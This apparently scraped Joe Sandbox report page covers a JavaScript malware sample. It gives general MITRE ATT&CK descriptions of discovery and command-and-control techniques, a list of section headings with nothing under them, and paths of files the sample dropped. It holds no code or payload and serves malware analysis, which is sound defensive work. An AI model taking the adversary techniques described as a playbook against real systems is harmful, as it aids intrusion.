Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 31068282522384212209.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2dd17a07-028b-4c80-9128-ee54aff43477.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4884

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
31068282522384212209.js